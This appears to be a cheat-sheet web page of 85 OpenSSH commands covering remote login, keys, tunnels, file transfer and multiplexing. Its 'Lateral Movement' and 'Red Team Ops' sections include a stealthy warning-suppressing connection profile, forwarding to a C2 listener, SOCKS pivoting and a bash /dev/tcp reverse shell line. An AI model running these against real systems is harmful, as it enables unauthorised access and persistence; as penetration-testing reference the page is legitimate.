Skip to content

SSH

85 commands

OpenSSH: secure remote login, key management, file transfer and port forwarding — local, remote and dynamic SOCKS tunnels.

  • remote access
  • tunneling
  • keys

Install SSH

sudo apt install openssh-client

Basic Remote Connection2

ssh user@192.168.1.10

Establishes a basic interactive SSH session to a remote host using default settings.

ssh -l user 192.168.1.10

Connects to a remote host specifying the login username with the -l flag.

Link

Target Specification1

ssh user@example.com -p 2222

Connects to a remote server on a non-standard SSH port.

Transport Options2

ssh -4 user@192.168.1.10

Forces the SSH client to use IPv4 addresses only.

ssh -6 user@example.com

Forces the SSH client to use IPv6 addresses only.

Authentication Handling2

ssh -o PreferredAuthentications=password user@192.168.1.10

Forces the client to attempt password authentication, ignoring keys or agents.

ssh -o PreferredAuthentications=publickey user@192.168.1.10

Forces the client to use public key authentication only, failing if no key is accepted.

Key-Based Authentication2

ssh -i ~/.ssh/id_rsa_custom user@192.168.1.10

Specifies a specific identity file (private key) to use for authentication.

Link
ssh -i /path/to/key.pem -o IdentitiesOnly=yes user@192.168.1.10

Uses a specific key and prevents the SSH agent from offering other keys.

Link

Configuration Usage1

ssh -F /path/to/custom_config host_alias

Instructs SSH to use a custom configuration file instead of the default ~/.ssh/config.

Link

Command Execution1

ssh user@192.168.1.10 'whoami; id; hostname'

Executes a command string on the remote host and exits immediately after returning output.

Link

Session Control3

ssh -N -f user@192.168.1.10

Goes into the background (-f) and executes no remote command (-N), useful for tunnel setup.

Link
ssh -T user@192.168.1.10

Disables pseudo-terminal allocation, often used for scripts or file transfers.

Link
ssh -t user@192.168.1.10 'top'

Forces pseudo-terminal allocation, allowing interactive programs like top or sudo to run.

Link

Output & Logging4

ssh -v user@192.168.1.10

Enables verbose mode to print debugging messages about the connection progress.

Link
ssh -vvv user@192.168.1.10

Enables maximum verbosity to debug complex connection, authentication, or config issues.

Link
ssh -q user@192.168.1.10 command

Enables quiet mode, suppressing most warning and diagnostic messages.

Link
ssh -E /tmp/ssh_log.txt -v user@192.168.1.10

Appends debug logs to a specific file instead of standard error.

Link

Connection Optimization3

ssh -C user@192.168.1.10

Enables compression on the connection, useful for slow links or text-heavy transfers.

Link
ssh -o ConnectTimeout=5 user@192.168.1.10

Sets a timeout limit in seconds for establishing the TCP connection.

Link
ssh -o ServerAliveInterval=60 user@192.168.1.10

Sends a keepalive packet every 60 seconds to prevent the session from timing out.

Link

Port Forwarding (Local)2

ssh -L 8080:localhost:80 user@192.168.1.10

Forwards local port 8080 to port 80 on the remote host (Local Port Forwarding).

Link
ssh -L 8080:10.0.0.5:80 user@192.168.1.10

Forwards local port 8080 through the remote host to a third internal IP address.

Link

Port Forwarding (Remote)2

ssh -R 8080:localhost:80 user@192.168.1.10

Forwards port 8080 on the remote server back to port 80 on the local machine (Remote Port Forwarding).

Link
ssh -R 0.0.0.0:8080:localhost:80 user@192.168.1.10

Exposes the reverse forwarded port 8080 on all interfaces of the remote host (requires GatewayPorts yes).

Link

Port Forwarding (Dynamic)1

ssh -D 9050 user@192.168.1.10

Creates a dynamic SOCKS proxy on local port 9050 that routes traffic through the SSH connection.

Link

X11 Forwarding2

ssh -X user@192.168.1.10

Enables X11 forwarding, allowing remote GUI applications to be displayed locally.

Link
ssh -Y user@192.168.1.10

Enables trusted X11 forwarding, bypassing some X11 security checks.

Link

Host Key Management2

ssh -o StrictHostKeyChecking=no user@192.168.1.10

Automatically accepts new host keys without prompting the user.

Link
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@192.168.1.10

Completely ignores known_hosts and accepts all keys, useful for ephemeral lab targets.

Link

Jump Hosts2

ssh -J jumpuser@jumphost user@192.168.1.20

Uses the -J flag to transparently proxy the connection through an intermediate jump host.

Link
ssh -J user1@host1,user2@host2 user@target

Chains multiple jump hosts in sequence to reach a deep internal network target.

Link

Proxy Command2

ssh -o ProxyCommand='ssh -W %h:%p user@jumphost' user@target

Legacy method to proxy connections using netcat-style forwarding via an intermediate host.

Link
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@target

Routes the SSH connection through a local SOCKS5 proxy (e.g., Tor or another SSH tunnel).

Link

Agent Forwarding2

ssh -A user@192.168.1.10

Forwards the local SSH authentication agent to the remote host, allowing subsequent hops.

Link
ssh -a user@192.168.1.10

Explicitly disables agent forwarding to prevent credential theft risks on the remote host.

Link

Multiplexing4

ssh -M -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10

Establishes a master connection socket for connection multiplexing (-M) at a specific path (-S).

Link
ssh -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 command

Reuses an existing master connection socket to execute commands instantly without re-authentication.

Link
ssh -O check -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10

Checks the status of an active multiplexed control socket.

Link
ssh -O exit -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10

Gracefully closes the master multiplexing connection and socket.

Link

Security & Encryption4

ssh -c aes256-gcm@openssh.com user@192.168.1.10

Forces the connection to use a specific encryption cipher.

Link
ssh -m hmac-sha2-512 user@192.168.1.10

Forces the connection to use a specific Message Authentication Code (MAC) algorithm.

Link
ssh -o KexAlgorithms=curve25519-sha256 user@192.168.1.10

Specifies the Key Exchange (KEX) algorithms the client will propose.

Link
ssh -o HostKeyAlgorithms=+ssh-rsa user@legacy-host

Enables legacy host key algorithms (like ssh-rsa) for connecting to outdated servers.

Link

File Transfer (SCP)3

scp localfile.txt user@192.168.1.10:/tmp/

Securely copies a local file to a remote destination.

Link
scp -r folder/ user@192.168.1.10:/tmp/

Recursively copies a local directory and its contents to a remote destination.

Link
scp -P 2222 user@192.168.1.10:/remote/file.txt .

Downloads a file from a remote host listening on a non-standard port.

Link

File Transfer (SFTP)2

sftp user@192.168.1.10

Starts an interactive Secure File Transfer Protocol session.

Link
sftp -b batchfile.txt user@192.168.1.10

Runs SFTP in batch mode, executing commands listed in a file non-interactively.

Link

Advanced Configuration3

ssh -o BatchMode=yes user@192.168.1.10

Disables all interactive prompts (passwords, key confirmations), useful for scripts.

Link
ssh -o EscapeChar=none user@192.168.1.10

Disables the escape character (default ~), allowing transparent binary data transfer.

Link
ssh -e ^ user@192.168.1.10

Sets the session escape character to the caret symbol (^) instead of tilde (~).

Link

Lateral Movement7

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR user@192.168.1.10

A stealthy connection profile that ignores host keys and suppresses warnings for red team ops.

Link
ssh -L 8080:127.0.0.1:80 -N user@192.168.1.10

Establishes a background tunnel to access a remote localhost service (like an admin panel) locally.

Link
ssh -R 1234:127.0.0.1:4444 user@192.168.1.10

Remote forwards a port on the compromised server back to a local C2 listener.

Link
ssh -D 1080 -f -C -q -N user@192.168.1.10

Backgrounds a compressed, quiet dynamic SOCKS proxy for pivoting tools like proxychains.

Link
ssh -o ProxyCommand='ssh -W %h:%p user@pivot' user@target

Manual double-hop lateral movement using ProxyCommand when -J is unavailable.

Link
ssh user@192.168.1.10 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'

Executes a reverse shell command immediately upon connection.

Link
ssh -o PermitLocalCommand=yes -o LocalCommand='xterm' user@192.168.1.10

Executes a local command automatically after a successful connection is established.

Link

Tunneling & VPN2

ssh -w 0:0 user@192.168.1.10

Creates a Layer 3 TUN device tunnel (requires root on both ends and PermitTunnel yes).

Link
ssh -w 5:5 -o Tunnel=ethernet user@192.168.1.10

Creates a Layer 2 TAP device tunnel for bridging Ethernet segments.

Link

Authentication Debugging1

ssh -v -o PubkeyAuthentication=no user@192.168.1.10

Debugs authentication failures by forcing a fallback to password or keyboard-interactive modes.

Link

Key Generation (Support)1

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C 'comment'

Generates a modern Ed25519 SSH key pair for secure authentication.

Link

Key Management (Support)4

ssh-keygen -R 192.168.1.10

Removes a specific host key from the known_hosts file to resolve man-in-the-middle warnings.

Link
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@192.168.1.10

Installs a public key onto a remote server's authorized_keys file.

Link
ssh-keygen -y -f private_key.pem > public_key.pub

Derives the public key from a private key file.

Link
ssh-keygen -p -f ~/.ssh/id_rsa

Changes the passphrase of an existing private key without regenerating the key.

Link

Red Team Ops3

ssh -o ControlPath=~/.ssh/%r@%h:%p -o ControlMaster=auto -o ControlPersist=10m user@192.168.1.10

Maintains a persistent background connection socket to speed up subsequent lateral movement commands.

Link
ssh -o SendEnv=GIT_* user@192.168.1.10

Passes specific local environment variables to the remote session (requires AcceptEnv on server).

Link
ssh -t user@192.168.1.10 'screen -R malicious_session'

Connects and immediately attaches to a persistent terminal multiplexer session.

Link

Defensive Validation4

ssh -G user@192.168.1.10

Prints the full resolved configuration for a host connection without actually connecting.

Link
ssh -Q cipher

Lists all encryption ciphers supported by the local SSH client.

Link
ssh -Q mac

Lists all Message Authentication Code (MAC) algorithms supported by the client.

Link
ssh -Q kex

Lists all Key Exchange (KEX) algorithms supported by the client.

Link

Certificate Authentication1

ssh -o CertificateFile=id_rsa-cert.pub user@192.168.1.10

Authenticates using a signed SSH certificate instead of a raw public key.

Link

Agent Management4

ssh-add -l

Lists fingerprints of all identities currently loaded into the SSH agent.

Link
ssh-add -D

Deletes all identities from the current SSH agent.

Link
ssh-add -c ~/.ssh/id_rsa

Adds a key to the agent with constraints, requiring confirmation for each use.

Link
ssh-add -t 3600 ~/.ssh/id_rsa

Adds a key to the agent with a lifetime limit (e.g., 1 hour), after which it is removed.

Link

Legacy/Insecure1

ssh -1 user@192.168.1.10

Forces SSH protocol version 1 (highly insecure, removed in modern OpenSSH).

Link

Advanced Workflow5

ssh -o StreamLocalBindUnlink=yes -R /tmp/socket:/tmp/socket user@host

Forwards a Unix domain socket from the remote host to the local machine, cleaning up stale sockets.

Link
ssh -t user@jump ssh -t user@target

Manual chain loading of SSH sessions where -J is not supported or shell interaction is needed at each hop.

Link
ssh -o RemoteCommand='ls -la' user@192.168.1.10

Specifies the command to execute on the remote host via the configuration option rather than argument.

Link
ssh -o IPQoS=throughput user@192.168.1.10

Optimizes the Quality of Service (QoS) flags for high-throughput bulk data transfer.

Link
ssh -o IPQoS=lowdelay user@192.168.1.10

Optimizes QoS flags for low-latency interactive sessions.

Link